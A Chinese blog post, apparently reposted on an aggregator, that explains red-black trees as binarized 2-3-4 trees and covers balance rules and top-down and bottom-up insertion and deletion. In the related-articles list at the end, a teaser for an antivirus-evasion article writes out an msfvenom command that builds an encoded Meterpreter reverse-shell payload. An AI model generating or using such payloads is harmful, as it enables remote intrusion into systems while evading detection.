深入理解红黑树

news2024/11/24 9:48:15

小白慎入!本文难度比较高,需要对红黑树有一定的了解再来看!


红黑树

红黑树是一种高级数据结构,是平衡树大家族中的一员,并且听名字就知道这个玩意不是凡物,可能你从未听过,但是你一定会为这样的数据结构感到震撼!它的思路是如此巧妙,让人不得不感叹它是一个艺术品。不仅如此,红黑树依赖它出色稳定的查找、插入、删除特性得到了广泛的运用,是一种经得起实际工业标准作业拷打的数据结构。

文章前提声明

本文不会写任何的代码,因此本文不适合那些纯粹为了CP CODE的读者,或者只是为了了解算法具体步骤的读者,同时本文难度较高,不适合没有背景知识的小白。文章都是我在学习红黑树时候的总结,看完这篇文章你就能够明白红黑树的插入删除原理甚至是设计的思想。丝毫不夸张的说,本文章在理解深度上绝对吊打99%讲红黑树的教程,但是在此之前你必须要学过二叉搜索树(BST)以及B树还有红黑树的一些基础知识。阅读完之后,如果你还想进一步获取具体完整的代码可以选择阅读算法导论或者其他文章。

红黑树与平衡树

先来全面了解红黑树和平衡树。实际上红黑树本来的名字不是红黑树,它的名字叫做对称二叉B树(记住关键词,二叉,B树),后来1978年一篇关于二色框架的论文中用了红黑两种颜色来讨论这种结构的树,后面就沿用了这个名字。那么从原来的名字就可以知道红黑树的思想来源于B树,实际上也可以认为是将一棵B树“二叉化” 并且二叉化的结果拥有和B树相同的优秀特性。那么第一个疑问就是:那为什么要用红黑树不用B树呢?——并不是不可以用,而是实现难度非常高、繁琐,二叉类的平衡树相对于具有不同类型节点的平衡树而言一个显而易见的好处在于每一个节点都具有同样的结构,而B树不行,真正的B树的节点应该是用一个有序链表进行维护的(数据结构套数据结构)。而这也反映了为啥平衡树在概念上很简单但是具体实现却很复杂。因此平衡树的“完美平衡”的定义就很关键,比如AVL树就是任意节点的左右子树高度不超过1,红黑树就是那五条法则(后面会讲)等等,不同的平衡树有着不同的平衡定义,也就导致有些平衡树看起来十分优秀但是没人用(超难实现,二阶AVL等等),而一些看起来比较“弱”的平衡树超多人用(ACM常用的Treap,Splay,为什么说“弱”,是因为这些平衡树的随机性更强,因此严格的算法分析是更加困难甚至无解的,大多数时候说的是操作均摊的期望复杂度)。尽管这些简单的平衡树损失了一些理论上的优势,但是因为放到计算机上的时候仍然要考虑计算优化以及实际的计算机物理限制,因此常数低的代码跑的还不一定比理论更优的慢,而且哪怕真的到了数据规模很大的时候,平衡树的性能也不会有非常明显的差距!(在统计学习有一个“天下没有免费的午餐”的定理,对于不同的数据和不同的操作,谁能保证AVL一定跑不过红黑树,而红黑树一定跑不过AVL,不同的平衡树具有不同特点的操作,比如Splay的区间操作,我对此印象超级深刻,不同的应用场景选择不同的平衡树才是正解!)

好的,为啥我要讲这么多和红黑树操作没有关系的东西呢?因为我想让我的读者知道红黑树为啥叫红黑树,为啥它和B树有关系,以及为啥二叉化?如果你懂了这些,你已经比那种背代码的强太多了——你学会了如何去设计数据结构!学会了如何在理论和实际性能做取舍

红黑树和2-3-4树和2-3树

当初学红黑树的时候,无意之间接触到了两个新词:2-3树和2-3-4树。这两个东西很简单,实际上就是三阶和四阶B树。

下面就构造一下这些树的样子,这里我使用算法可视化的网站来完成,因此结果很可靠:(1,9,2,8,3,7,4,6,5,这个数据BST如果不平衡就是一坨屎)

BST(二叉搜索树):
在这里插入图片描述
2-3树(三阶B树):
在这里插入图片描述
2-3-4树(四阶B树):
在这里插入图片描述
红黑树:
在这里插入图片描述
从上面就可以发现一个重要的事实是B树天生具有平衡的特性,本质在于B树中的每一个节点到达它可以到达的叶子节点的路径长度是相同的(分层)。这个实际很好证明,使用数学归纳的方法就可以了,我这里简单说说:假设当前B树满足这个特性,那么能够增加路径长度的操作必然是节点分裂发生上溢,此时原来的节点变为两个,上溢的节点到所有的叶子节点高度加一,路径长度相同性质仍然满足,表明上溢操作不会影响该性质

在这里插入图片描述
因此如果能够简单地实现这样优秀的数据结构那岂不美哉?哎,红黑树就诞生了,红黑树实际上就是一棵2-3树或者2-3-4树的二叉化形式。然而实际上,基于双色框架,我们可以将这个玩意扩展到m阶B树的二叉化,但由于2-3树和2-3-4树是属于B树中最简单的了,并且恰好避免了一些很麻烦的事情!:)后面会说。所以目前大部分红黑树的代码实现是基于2-3树或者2-3-4树的。

所以红黑树的第一个平衡原则是:红黑树上的任意一个节点到叶子结点的路径上黑色节点的个数相同。(黑色节点个数相当于B树上的距离)

如何二叉化

我们使用红边的形式规定:红边构成的连通块属于一个node。
下面是2-3树中3-node对应的二叉化的节点关系:
在这里插入图片描述
下面是2-3-4树中4-node对应的二叉化的节点关系:
在这里插入图片描述
这里可能会迷惑为啥4-node是左右双边的形式而不是连续的红边形式——主要是设计的时候,我们认为这样更加平衡,论文中没有说为啥这样更好,我的观察是——也就是对于一个4-node,我们最多比较两次就可以得到结果,而如果使用连续的红边,那么最坏情况我们需要走两次次红边也就是比较三次!整体上树的高度是更低的!因此我们认为这样更好,当然也可以不这么做!只不过可能会得到一些很糟糕的结果和更加难实现的代码!因为这样的4-node形式上是不统一的,如果我们允许连续的红边,那么4-node具有三种形式,所以对应的代码操作非常繁琐

所以我们可以得到红黑树的第二条重要的平衡原则(基于2-3-4树等价):从一个节点出发不可能连续多次经过红边。
why not this
为了更加通用以及方便(2-3树的讨论可以看红色的那本《算法》,但是2-3-4树的算法是更加通用的),下面我都是讨论2-3-4树等价的红黑树并且省略NIL节点。

所以现在我们可以上面的那个红黑树转换为下面的2-3-4树形式:

在这里插入图片描述
其中的2,4,8构成了一个4-node,5,6,7构成了一个4-node。

插入操作等价性的讨论1(bottom-up method)

在讨论操作等价性的时候,可以从两方面的逻辑来思考这个操作到底是对的还是错误的:平衡原则和2-3-4树对应操作。首先如果我们从平衡原则来考虑等价,也就说我们的操作能够实时维护这五条性质,也就相当于保证了红黑树的平衡。另一方面,我更加推荐的是从2-3-4树的操作来思考操作的等价性,也就是从设计者的角度出发来理解红黑树的维护操作。具体的例子请接着往下阅读。

上面我们讨论了关于红黑树本质上是2-3-4树的二叉化形式,那么对于2-3-4树的操作,我们又该如何进行等价?实际上这非常巧妙,首先我们明白了一个关键的事实:插入的关键操作在于上溢

那么我们还是从2-3-4树出发来考虑这样一个事实:因为我们每一次找到插入的位置的时候都是想要合并到找到的节点,所以我们规定每一次加入的都是一个红颜色点或者说将插入的点和父亲连接一条红边。那么唯一可能发生上溢的情况就是插入的节点恰好是一个4-node,假设你从未学习过红黑树,你该如何设计这样一个上溢的过程呢?(2-3-4树对应操作角度思考)

在这里插入图片描述
实际上很简单,我们只需要做的就是颜色反转!——将边的颜色修改一下,我们把内部的中间节点弹出去相当于让它和它的父亲合并,然后原本的节点一分为二,所以原来的两条红边变为黑色。操作完之后我们也可以检查有没有违背我们之前说的两条平衡原则(平衡原则角度思考),仔细检查一下就可以知道是没有的,因此该操作是正确的。

然而仅仅有这个操作我们还无法很好地维护其中的第二个平衡原则:不会连续经过两条红色的边。所以我们需要一些操作来维护这个性质(平衡原则角度思考)。

更加深入的理解, 在这里我们很容易发现一个事实,就是对于一个2-3-4树的节点而言,比如4-node,它里面的具体结构是不确定的我们只知道了它有四个孩子和三个键值,但是对于红黑树而言是可以看得到的,那么我想说的是,在红黑树里面它这个节点的结构是一棵简单的平衡BST,说白了我们要维护红边连通的子树是一棵平衡的BST。(这里留下我的一个idea:B树的节点实际上可以认为是一个数据结构,那么它可以是有序链表,为啥就不能是平衡树呢?所以红黑树本质上是把这个数据结构变为了平衡BST融到了原来的B树里面?如果是这样的话,我们可以用这种双色框架实现任意的平衡树结构,将实现复杂的两层的树变为一层,比如说m阶的B树里面的节点对应的是一个高度不超过lgm+1的简单BST,甚至更加大胆,对于具有内部结构的节点的数据结构我们能不能用类似的方法将其扁平化?)

对于一个最多只有三个点的简单平衡BST,那么不平衡的只有四种情况(LL, RR, LR, RL):

在这里插入图片描述
操作完之后我们再去检查一下有没有违背第一条平衡原则,可以发现到达叶子的每一条路径的黑色边数量还是不变的,因此该旋转操作并不会影响第一条平衡原则。

所以整个插入的流程就是向下搜索找到插入的位置,然后不断向上回溯,判断是否会发生上溢,是否需要使用旋转去完成平衡。

插入操作等价性的讨论2(top-down method)

论文里面提出了一个简单的top-down插入算法,它可以做到一次性往下插入而不需要回溯调节平衡。它的思想也很简单,就是在插入之前就已经把路径调节好,这样的话看做是提前的“balance”,到最后面的时候直接插入就可以了

具体的做法可以看看下面的图片:

在这里插入图片描述
可以证明按照这样的插入方法进行插入,到达最后的一个节点时必定不会发生上溢操作。

证明:假设在最后插入的时候发生了溢出,那么最后一个节点必然是属于4-node,由于我们的操作表明在遇到4-node将发生主动分裂,所以该节点不可能是4-node,矛盾。假设不成立。

而其中的平衡调整也是自上而下的,因为可以发现平衡操作只会发生在产生4-node的时候,那么唯二可能的情况就是:上溢导致了父亲节点变为4-node,最后的插入产生了一个4-node。对于第一种情况,由于我们是从上往下调整,所以对于当前分裂的4-node,它只会可能影响到它的父亲,所以对父亲做一次平衡即可。对于第二种情况,我们只需要调整该4-node即可。因此该平衡操作整个流程可以自上而下完成的。

下面展示了使用这个方法插入 1,2,3,4,5

在这里插入图片描述
个人认为插入算法无论是哪个其实都还算是比较好理解的,本质上就是为了维持平衡原则,基于这个出发点就很好理解。

删除操作等价讨论1(bottom-up method)

通常我们认为平衡树的删除操作难度要大于插入。对于2-3-4树来说,我们如果想要使用自底向上的方法去删除,那么最好的选择是操作它的前驱或者后继,这样子的话我们就可以将所有的删除转变为叶子节点的删除。(实际上这对于自上而下的删除方法来说也是更好的选择,因为这样可以避免对左右子树的讨论)

我们先看2-3-4树的删除操作(2-3-4树操作角度思考),然后我们再视图将这样的操作等价到红黑树里面。

(讲个笑话,B树的删除是一场大型的家产继承活动!)

在这里插入图片描述
在这里插入图片描述

可以发现一点是我们删除叶子上面任意一个3-node, 4-node都不会对树的平衡发生任何影响!本质原因就是在于它不会影响树的结构,删了一个9但是7和8仍然是一个node。这时候我们再去删除5,就会发现一个树的结构变了!——4和6中间没有了孩子,这是不合法的,这个时候根据2-3-4树的方法就是——把父亲拉下来,然后检查自己的儿子有没有可以继承家产的,如果有的话就将它拉上来继承家产,如果没有那么就一家团聚

在这里插入图片描述
把父亲6拉下来,发现儿子7或者8可以继承家业,这里选择7,那么7上去,6下来。

在这里插入图片描述

现在我们要继续删除1,
在这里插入图片描述
那么1的父亲2就要下来,但是发现只有一个儿子3,没有儿子能够继承家业,所以一家团聚,2和3合并。

在这里插入图片描述
讨论了2-3-4树的删除之后我们就要想该如何去等价这样的操作呢?首先最显然的一点是如果删除的点属于一个3-node或者4-node,那么就等价于2-3-4树中删除一个3-node,4-node叶子的情况,此时直接删除不用做任何处理。因此最困难的地方在于删除一个叶子是一个2-node的情况,此时要做的就是分类讨论。

同样的我们还是按照2-3-4树等价操作出发,首先看一下兄弟有没有能够继承家产的,如果有的话那么兄弟一定是一个3-node或者4-node。

在这里插入图片描述
基于上面的操作之后我们就可以直接将黄色的点删除掉。深入思考操作的本质,我们只是通过了左旋和右旋来调整父与子之间的关系罢了。因此对应的兄弟如果在右边,那么分别有3种情况:兄弟有一个红色的右儿子(左旋),兄弟有一个红色的左儿子(右旋+左旋),兄弟有两个红色的儿子(任选一个),我们分别做对应的旋转即可!

那么如果兄弟儿子没有能够继承家产的怎么办?这个时候我们将父亲(黑色)拉下来和它的儿子(浅蓝色)进行合并,这个时候就相当于递归的删除了父亲,我们就要处理父亲的位置了,看一下有没有叔叔节点(深蓝色)可以替代父亲的位置,如果有的话,那么叔叔就可以替代父亲的位置继承家产,如果没有那么祖父(棕色)就必须下来和叔叔节点合并!相当于递归向上的过程,直到可以继承家产的人出现!

可以看看下面的操作示意图(删除黄色节点):
在这里插入图片描述
下面不同的角度看这个删除的过程:
在这里插入图片描述
上面的过程中,没删除前的红黑树是部分结构,所以你看到的可能不满足第一条平衡原则(黑色边数相等),但这对我们的删除操作没影响,只要我们保证删除后还是能够和没删除前一样经过相同的黑色边数即可。

仔细思考一下这个过程的本质:无非就是把父亲拉下来和儿子合并然后递归处理删除的父亲这个位置。 在2-3-4树里面这就对应多层的下溢过程,并且操作的过程十分简单,我们合并下溢的操作只需要将父亲到儿子的边标记为红色即可。很多人不理解这个地方,我觉得可能是没有理解这是一个递归的过程和2-3-4树的下溢合并操作。我们刚才讲了红黑树插入的时候是向上溢出,本质上是因为了一个节点满了导致不得不分裂,父亲被分裂开,会继续向上和祖父合并。而删除也是如此,本质就是一个节点个数太少了不得不向下合并,儿子消失了,父亲不得不去替代他,于是祖父会继续向下合并处理父亲的位置。

在这里插入图片描述
这个过程非常抽象,但是我觉得已经讲的很明白了——就是不断的下溢操作,实现也只需要做恰当的颜色反转即可实现!当然,如果是别的文章现在就结束了,但是我明白你看了上面的递归删除可能还是一头雾水,所以我将介绍从自顶向上的角度看待刚才的递归删除!

删除操作等价讨论2(top-down method)

我们假设上面例子中的曾祖父(绿色)是一个红色节点。
那么实际上一开始是这样子的:
在这里插入图片描述
经过上面的递归删除后,我们可以得到:
在这里插入图片描述
其实实际上我们刚才讲过了一个自定向下插入的时候是主动将4-node(因为插入就会上溢的节点)进行分裂上溢,那么删除的时候我们做相反的事情,我们主动将3-node或者4-node拆解进行下溢合并。

在这里插入图片描述
这样子的话我们在最后删除的时候一定可以将该需要删除的点变为红色,所以无须考虑黑色节点的情况。

下面是不同种类的主动向下溢出的过程示例(具体的不同情况可以自己分析一下):

父亲主动分裂下溢:
在这里插入图片描述
兄弟主动分裂下溢:

在这里插入图片描述
可以观察到父亲主动分裂下溢和兄弟主动分裂下溢的过程刚好对应了上面bottom-up method里面的一些方法,比如说父亲主动分裂下溢就相当于父亲下溢合并,而兄弟主动分裂下溢就相当于兄弟节点继承家产。

那么对应于一开始的那个例子,删除黄色节点的过程就会变为这个样子:

在这里插入图片描述
最后的结果是一样的!实际上我们还可以发现一个事实:自顶向下的方法实际上就是把红色边往下push,然后递归的删除方法实际上就是相当于往下pull,一个拉一个推


题外话

一个问题:自己,儿子,父亲,祖父都为黑节点,上面的这种情况真的可能出现吗?问题来源于我在构造数据的过程中,我发现一个这样的情况非常难以构造!如果直接使用正常的插入我断定是不可能产生这样的红黑树的。但是问题是它并没有违反我们定义的红黑树的五个原则。除此之外,这也引发其他的问题:是否对于不违背性质的红黑树我们总能用正常的插入删除构造出来?

下面是我能够构造的最黑的红黑树:(顺序插入1,2,3,4,5,6,7,8,9,10,然后删除10,9,7)

在这里插入图片描述

我几乎找不到自己,父亲,祖父,曾祖父都为黑色并且只有黑色儿子的情况。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1043868.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

微前端无界 项目使用记录

1预期目标和场景 一个vue框架开发的应用,需要使用另一个系统的页面。 通俗来说,就是在一个web应用中独立的运行另一个web应用 2 技术支持 微前端处理方案:无界 无界官网: https://wujie-micro.github.io/doc/guide/ CSDN 参考…

金蝶云星空和聚水潭单据接口对接

金蝶云星空和聚水潭单据接口对接 对接源平台:聚水潭 聚水潭成立于2014年,创始人兼CEO骆海东拥有近三十年传统及电商ERP的研发和实施部署经验。聚水潭创建之初,以电商SaaSERP切入市场,凭借出色的产品和服务,快速获得市场的肯定。随…

如何给Nginx配置访问IP白名单

一、Nginx配置访问IP白名单 有时部署的应用需要只允许某些特定的IP能够访问,其他IP不允许访问,这时,就要设置访问白名单; 设置访问白名单有多种方式: 1.通过网络防火墙配置,例如阿里云/华为云管理平台 2.…

计算机竞赛 深度学习人脸表情识别算法 - opencv python 机器视觉

文章目录 0 前言1 技术介绍1.1 技术概括1.2 目前表情识别实现技术 2 实现效果3 深度学习表情识别实现过程3.1 网络架构3.2 数据3.3 实现流程3.4 部分实现代码 4 最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 深度学习人脸表情识别系…

数独C++代码实现

数独是源自18世纪瑞士的一种数学游戏。中文中“数独”一次,实际上是源自于日语对于数独的音译。是一种运用纸、笔进行演算的逻辑游戏。玩家需要根据99盘面上的已知数字,推理出所有剩余空格的数字,并满足每一行、每一列、每一个粗线宫&#xf…

LeetCode 75.颜色分类

题目链接 力扣(LeetCode)官网 - 全球极客挚爱的技术成长平台 题目解析 题意很清楚,让0,1,2按照顺序排好,但是不能使用sort库函数。 将数组分为四部分,分别是: // [0,left] 0 // [left,i] 1 // [i,right] 未…

华为数通方向HCIP-DataCom H12-831题库(单选题:161-180)

第161题 某台路由器Router LSA如图所示,下列说法中错误的是? A、本路由器已建立邻接关系 B、本路由器为DR C、本路由支持外部路由引入 D、本路由器的Router ID为10.0.12.1 答案: B 解析: 一类LSA的在transnet网络中link id值为DR的route id ,但Link id的地址不是10.0.12.…

Unity之NetCode多人网络游戏联机对战教程(4)--连接申请ConnectionApproval

文章目录 前言适用场景1. 准备2.新建GameManager3.编译运行4.脚本详解后话 前言 没看过前面的教程请先阅读前面的教程,本期将会讲到Netcode联机的申请,当一个Client想连接进来,应向Server发送申请联机的信息,然后由服务端向客户端…

EasyExcel的源码流程(导入Excel)

1. 入口 2. EasyExcel类继承了EasyExcelFactory类,EasyExcel自动拥有EasyExcelFactory父类的所有方法,如read(),readSheet(),write(),writerSheet()等等。 3. 进入.read()方法,需要传入三个参数(文件路径…

免杀对抗-C#+go语言-混淆+防反编译+分离

C#&NET-ShellCode-生成/上线 一、生成: 1.msf生成C#语言的shellcode 命令:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.206.192 LPORT4444 -e x86/shikata_ga_nai -i 15 -f csharp 二、上线: 1.c#语言shellcode加载代…

如何通过PreMaint设备管理提高制药行业的质量控制和合规性

在制药行业,确保产品的质量和合规性是至关重要的。制药企业必须严格遵守各种法规,以满足患者的需求并确保他们的产品安全有效。为了达到这些目标,制药企业越来越倾向于采用现代化的设备管理系统,如PreMaint。本文将探讨如何通过Pr…

ElementUI之动态树及书籍的分页查询

目录 一.前言 二.Element之动态树 2.1 后台 2.2 前台 三. 动态表格--书籍的分页查询 一.前言 本文章是继上篇的案例之上教大家如何使用ElementUI去实现动态树和书籍的分页查询,如果有不懂的大家可以翻看上篇的博客查看,其中的样式是ElementUI的官网提…

任正非:天空足够大,世界会越来越兴盛

近日,华为公司创始人任正非与南开大学新闻与传播学院院长、科技日报原总编辑刘亚东今年7月7日在深圳一间咖啡厅的对话最新曝光。 在对话过程中,任正非以“拉法尔喷管”来描述华为的研发体系: “喇叭口”吸收宇宙能量,经过理论研究&#xff0…

JetBrains常用插件

Codota AI Autocomplete Java and JavaScript:自动补全插件 Background Image plus:背景图片设置 rainbow brackets:彩虹括号,便于识别 CodeGlance2: 类似于 Sublime 中的代码缩略图(代码小地图&#xff…

中睿天下荣获2023全国智能驾驶测试赛车联网安全比赛第一名

9月24日,由工业和信息化部、公安部、交通运输部、中国科学技术协会、北京市人民政府共同主办的2023世界智能网联汽车大会展览会在北京闭幕。同期举行的全国智能驾驶测试赛(京津冀赛区)宣布比赛结果,中睿天下凭借过硬的产品实力&am…

Elasticsearch实现全文搜索的步骤和实现原理

Elasticsearch实现全文搜索的步骤和实现原理 ElasticSearch是什么springboot项目,如何接入 ElasticSearch实现全文搜索?Elasticsearch实现全文搜索的原理是什么?ElasticSearch是什么 ElasticSearch(简称为ES)是一个基于开源的分布式搜索和分析引擎,它提供了强大的全文搜…

excell导入十万数据慢该如何解决

1.遇到的问题 项目中遇到导入6w条数据,之前用的poi,感觉很慢,这时查询了下阿里巴巴提供了开源的easyExcell很好用。 EasyExcel官方文档 - 基于Java的Excel处理工具 | Easy Excel 2.读写速度 64M内存20秒读取75M(46W行25列)的Excel&#x…

Morph:利用AI+无代码,分析整理数据,让数据分析变得更加简单

简介 Morph 是一款一体化的数据工作室,可以让用户实时协作处理数据任务,并提供 AI 辅助来收集、排序和分析数据。它设计用来处理数百万条记录,并且为开发者提供强大的 API 支持。Morph 旨在让每个人都能够通过一个简单的界面轻松地收集、存储…

Vue中动态树形菜单,以及

🏅我是默,一个在CSDN分享笔记的博主。📚📚 🌟在这里,我要推荐给大家我的专栏《Vue》。🎯🎯 🚀无论你是编程小白,还是有一定基础的程序员,这个专栏…

根据文章段落内容自动插入图片php版

每篇内容根据段落判断插入图片代码附上&#xff1a; $chatd"<table>";if(stripos($content,$chatd)0){//随机输出三张图功能if($moduleid!37 &&$thumb){//判断是否存在图$idrand(1,999999);$midrand(1,9999999);$getimg"http://www.nongpin88.co…